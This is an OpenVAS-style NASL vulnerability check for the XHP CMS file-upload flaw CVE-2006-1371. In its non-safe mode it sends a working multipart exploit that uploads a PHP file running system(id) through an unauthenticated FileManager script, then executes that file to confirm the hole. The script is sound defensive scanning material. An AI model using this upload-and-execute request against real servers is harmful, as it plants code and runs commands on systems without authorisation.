XHP CMS <= 0.5 File Upload Vulnerability

# SPDX-FileCopyrightText: 2008 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.200100");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_cve_id("CVE-2006-1371");
  script_xref(name:"OSVDB", value:"24058");
  script_xref(name:"OSVDB", value:"24059");
  script_name("XHP CMS <= 0.5 File Upload Vulnerability");
  script_category(ACT_MIXED_ATTACK); # nb: Storing file on the target without deleting it...
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Ferdy Riphagen");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/17209");
  script_xref(name:"URL", value:"http://xhp.targetit.ro/index.php?page=3&box_id=34&action=show_single_entry&post_id=10");
  script_xref(name:"URL", value:"http://retrogod.altervista.org/XHP_CMS_05_xpl.html");

  script_tag(name:"summary", value:"XHP CMS is prone to a file upload vulnerability.");

  script_tag(name:"vuldetect", value:"Depending on the 'safe_checks' setting of the scan
  configuration:

  - Setting 'yes': Checks if a vulnerable version is present on the target host

  - Setting 'no': Sends a crafted HTTP POST request and checks the response");

  script_tag(name:"insight", value:"The flaw exists because the application does not authenticate
  users to access the FileManager scripts located at:

  '/inc/htmlarea/plugins/FileManager/manager.php'

  and

  '/inc/htmlarea/plugins/FileManager/standalonemanager.php'");

  script_tag(name:"impact", value:"This allows an attacker to upload content to the webserver, and
  execute arbitrary commands with privileges of the webserver account.");

  script_tag(name:"solution", value:"Update to version 0.51 or later.");

  script_tag(name:"qod_type", value:"remote_banner");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if (!http_can_host_php(port:port))
  exit(0);

host = http_host_name(port:port);

foreach dir(make_list_unique("/test/xhp", "/xhp", "/xhpcms", http_cgi_dirs(port:port))) {

  if (dir == "/")
     dir = "";

  req = http_get(item:string(dir, "/inc/htmlarea/plugins/FileManager/standalonemanager.php"), port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (!res || "XHP File Manager" >!< res)
    continue;

  if (!safe_checks()) {
    rand = rand();
    file = string("DELETE_FILE_", rand, ".php");
    content = "<?php system(id); ?>";

    exp = string("--", rand, "\r\n",
                 'Content-Disposition: form-data; name="dir"', "\r\n\r\n",
                 "/\r\n",
                 "--", rand, "\r\n",
                 'Content-Disposition: form-data; name="upload"; filename="', file, '"', "\r\n",
                 "Content-Type: text/plain\r\n\r\n",
                 content, "\r\n",
                 "--", rand, "\r\n",
                 'Content-Disposition: form-data; name="submit"', "\r\n\r\n",
                 "Upload\r\n",
                 "--", rand, "--\r\n");

    req = string("POST ", dir, "/inc/htmlarea/plugins/FileManager/images.php HTTP/1.1\r\n",
                 "Content-Type: multipart/form-data; boundary=", rand, "\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Length: ", strlen(exp), "\r\n",
                 "Connection: close\r\n\r\n",
                 exp);
    recv = http_keepalive_send_recv(data:req, port:port, bodyonly:TRUE);

    req2 = http_get(item:string(dir, "/filemanager/", file), port:port);
    recv2 = http_keepalive_send_recv(data:req2, port:port, bodyonly:TRUE);
    if (!recv2)
      exit(0);

    if(egrep(pattern:"uid=[0-9]+.*gid=[0-9]+", string:recv2)) {
      report = string("## It was possible to upload and execute a file on the remote webserver.\n",
                      "## The file is placed in directory: ", '"', dir, "/filemanager/", '"', "\n",
                      "## and is named: ", '"', file, '"', "\n\n",
                      "## You should delete this file as soon as possible !!!\n");
      security_message(port:port, data:report);
      exit(0);
    }
  } else {
    req = http_get_cache(item:string(dir, "/index.php"), port:port);
    if (egrep(pattern:"<a href[^>]+>Powered by XHP CMS v0\.(4\.1|5)", string:req)) {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);